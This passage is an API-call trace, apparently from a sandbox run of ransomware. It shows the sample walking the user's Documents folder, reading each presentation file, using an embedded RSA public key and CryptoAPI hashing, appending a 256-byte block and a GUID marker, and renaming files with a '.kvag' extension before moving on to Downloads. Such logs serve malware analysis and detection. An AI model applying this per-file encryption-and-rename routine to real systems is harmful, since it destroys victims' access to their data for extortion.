[0119.667] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.667] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.667] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.667] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.668] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xda82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.668] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.668] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.668] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.668] CloseHandle (hObject=0x61c) returned 1 [0119.669] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZKPjo8JohJqXPt0egkjs.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zkpjo8johjqxpt0egkjs.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZKPjo8JohJqXPt0egkjs.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zkpjo8johjqxpt0egkjs.pptx.kvag")) returned 1 [0119.671] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eada6f0, ftCreationTime.dwHighDateTime=0x1d53ae3, ftLastAccessTime.dwLowDateTime=0x1ef37500, ftLastAccessTime.dwHighDateTime=0x1d4e4cc, ftLastWriteTime.dwLowDateTime=0x1ef37500, ftLastWriteTime.dwHighDateTime=0x1d4e4cc, nFileSizeHigh=0x0, nFileSizeLow=0x7ee9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZuqvG17IH9puQg8B.pptx", cAlternateFileName="ZUQVG1~1.PPT")) returned 1 [0119.671] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZuqvG17IH9puQg8B.pptx") returned=".pptx" [0119.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZuqvG17IH9puQg8B.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuqvg17ih9puqg8b.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.671] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=32489) returned 1 [0119.671] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.672] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7ec3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.672] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.675] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x7ee9, lpOverlapped=0x0) returned 1 [0119.675] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.675] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.675] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.676] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.676] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.676] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.676] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.676] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.676] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.676] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.676] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.677] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.677] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.677] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.677] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7ee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.677] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.677] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.677] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.678] CloseHandle (hObject=0x61c) returned 1 [0119.678] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZuqvG17IH9puQg8B.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuqvg17ih9puqg8b.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZuqvG17IH9puQg8B.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zuqvg17ih9puqg8b.pptx.kvag")) returned 1 [0119.680] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9ee7fa0, ftCreationTime.dwHighDateTime=0x1d4d1be, ftLastAccessTime.dwLowDateTime=0xec599c20, ftLastAccessTime.dwHighDateTime=0x1d4ca7f, ftLastWriteTime.dwLowDateTime=0xec599c20, ftLastWriteTime.dwHighDateTime=0x1d4ca7f, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZX_nv6ome8v9IO5Mvi.ppt", cAlternateFileName="ZX_NV6~1.PPT")) returned 1 [0119.680] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZX_nv6ome8v9IO5Mvi.ppt") returned=".ppt" [0119.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZX_nv6ome8v9IO5Mvi.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zx_nv6ome8v9io5mvi.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.680] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=38968) returned 1 [0119.680] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.682] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9812, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.682] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.684] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x9838, lpOverlapped=0x0) returned 1 [0119.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.684] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.684] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.686] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.686] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.686] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.686] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.686] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.686] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.687] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.687] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.687] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.687] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.687] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9838, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.687] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.687] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.687] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.687] CloseHandle (hObject=0x61c) returned 1 [0119.688] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZX_nv6ome8v9IO5Mvi.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zx_nv6ome8v9io5mvi.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZX_nv6ome8v9IO5Mvi.ppt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zx_nv6ome8v9io5mvi.ppt.kvag")) returned 1 [0119.690] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1891680, ftCreationTime.dwHighDateTime=0x1d4cc6d, ftLastAccessTime.dwLowDateTime=0x6aff6730, ftLastAccessTime.dwHighDateTime=0x1d4d467, ftLastWriteTime.dwLowDateTime=0x6aff6730, ftLastWriteTime.dwHighDateTime=0x1d4d467, nFileSizeHigh=0x0, nFileSizeLow=0xb26e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_dmLJ1 KFGu.odp", cAlternateFileName="_DMLJ1~1.ODP")) returned 1 [0119.690] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_dmLJ1 KFGu.odp") returned=".odp" [0119.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_dmLJ1 KFGu.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_dmlj1 kfgu.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.690] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=45678) returned 1 [0119.690] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.692] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb248, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.692] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.694] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xb26e, lpOverlapped=0x0) returned 1 [0119.694] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.694] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.695] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.695] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.695] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.695] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.695] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.695] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.695] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.696] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.696] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.696] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.696] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.696] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.696] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb26e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.696] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.696] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.696] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.697] CloseHandle (hObject=0x61c) returned 1 [0119.697] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_dmLJ1 KFGu.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_dmlj1 kfgu.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_dmLJ1 KFGu.odp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_dmlj1 kfgu.odp.kvag")) returned 1 [0119.699] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1891680, ftCreationTime.dwHighDateTime=0x1d4cc6d, ftLastAccessTime.dwLowDateTime=0x6aff6730, ftLastAccessTime.dwHighDateTime=0x1d4d467, ftLastWriteTime.dwLowDateTime=0x6aff6730, ftLastWriteTime.dwHighDateTime=0x1d4d467, nFileSizeHigh=0x0, nFileSizeLow=0xb26e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_dmLJ1 KFGu.odp", cAlternateFileName="_DMLJ1~1.ODP")) returned 0 [0119.699] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0119.699] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0119.699] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0119.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0119.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.699] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.699] PathFindFileNameW (pszPath="") returned="" [0119.699] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0119.699] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.699] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: 